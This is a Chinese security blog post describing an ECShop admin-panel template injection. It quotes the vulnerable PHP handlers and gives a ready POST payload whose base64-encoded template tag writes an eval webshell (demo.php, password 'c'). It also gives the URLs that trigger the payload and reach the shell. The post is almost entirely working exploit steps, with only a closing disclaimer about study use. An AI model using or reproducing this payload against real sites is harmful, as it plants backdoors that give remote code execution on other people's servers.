阿峰博客 阿峰'S blog

  • 首页
  • 移动安全
    • Android安全
    • iOS安全
    • APP安全
  • 新闻资讯
    • IT新闻
    • 安全资讯
  • 信息安全
    • WEB安全
    • 系统安全
    • 终端安全
    • 安全工具
  • 建站优化
    • 网站优化
    • 网络营销
  • 资源共享
  • 关于博客
    • 申请友链
    • 在线投稿
不忘初心,砥砺前行。
  1. 首页
  2. 信息安全
  3. 正文

利用post在Ecshop后台getshell的方法

2013 年 1 月 17 日 3093点热度 0人点赞 0条评论
  1. admin/template.phpif ($_REQUEST['act'] == 'update_library')
  2. {
  3.     check_authz_json('library_manage');
  4.     $html = stripslashes(json_str_iconv($_POST['html']));
  5.     $lib_file = '../themes/' . $_CFG['template'] . '/library/' . $_POST['lib'] . '.lbi'; //模板文件
  6.     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  7.     $org_html = str_replace("\xEF\xBB\xBF", '', file_get_contents($lib_file));
  8.     if (@file_exists($lib_file) === true && @file_put_contents($lib_file, $html))//写出
  9.     {
  10.         @file_put_contents('../temp/backup/library/' . $_CFG['template'] . '-' . $_POST['lib'] . '.lbi', $org_html);
  11.         make_json_result('', $_LANG['update_lib_success']);
  12.     }
  13.     else
  14.     {
  15.         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' . $_CFG['template'] . '/library'));
  16.     }
  17. }

复制代码

那么找个比较方便调用了模板的文件
index.php

  1. if ($act == 'cat_rec')
  2. {
  3.     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
  4.     $rec_type = !empty($_REQUEST['rec_type']) ? intval($_REQUEST['rec_type']) : '1';
  5.     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
  6.     include_once('includes/cls_json.php');
  7.     $json = new JSON;
  8.     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type, 'cat_id' => $cat_id);
  9.     $children = get_children($cat_id);
  10.     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
  11.     $smarty->assign('cat_rec_sign', 1);
  12.     $result['content'] = $smarty->fetch('library/recommend_' . $rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
  13.         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
  14.         echo $rec_array[$rec_type];
  15.     die($json->encode($result));
  16. }

复制代码

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容:

  1. lib=recommend_best&html={if fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

复制代码

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址:http://localhost/ec/demo.php

密码c

作者:Cond0r

标签: Ecshop后台
最后更新:2013 年 1 月 17 日

阿峰

保持饥渴的专注,追求最佳的品质

点赞
< 上一篇
下一篇 >

文章评论

取消回复

标签聚合
渗透测试 关键字 xss漏洞 Wordpress 端口扫描 网络安全 工具 perl
最新 热点 随机
最新 热点 随机
Immunity Canvas 7.26下载及安装教程 安卓批量搜索分析Java 类/对象结构脚本工具 MAC下在Genymotion模拟器中使用IDA动态调试android安卓应用 Joy:一款用于捕获和分析网络内部流量数据的工具 One-Lin3r:懒人的福音,渗透测试单行化工具 EvilURL v2.0一个生成用于钓鱼攻击的IDN域名的工具
MAC下在Genymotion模拟器中使用IDA动态调试android安卓应用安卓批量搜索分析Java 类/对象结构脚本工具Immunity Canvas 7.26下载及安装教程
2013年互联网安全大会亮点聚焦 分享一个织梦DEDECMS资讯网站模板源码 织梦CMS漏洞dedecms漏洞 2013-02-10 SQL注入漏洞 免费领取7天QQ堂紫钻,点击领取 [转]IE浏览器跟踪获取鼠标坐标POC 批量Webshell管理工具QuasiBot之后门代码分析
最近评论
发布于 2 年前(07月07日) 小哥,可以帮忙把我的友链修改为 https://feifanblog.com 么?谢谢啦~
发布于 3 年前(07月23日) top.document.body.innerHTML=""; 这个是1.js 还是xss ...
发布于 3 年前(11月22日) 看错了,还以为是你买的register.com呢。。。
发布于 3 年前(10月22日) 大佬 求sql 放正系统注入工具
发布于 4 年前(05月27日) 感觉还是非常复杂的呢。。。。

COPYRIGHT © 2021 阿峰博客 阿峰'S blog. ALL RIGHTS RESERVED.

本站发布的内容仅限于学习和研究,请勿用于非法渗透和攻击,否则一切后果请自负;遵守法律法规,做一个合格的安全从业者。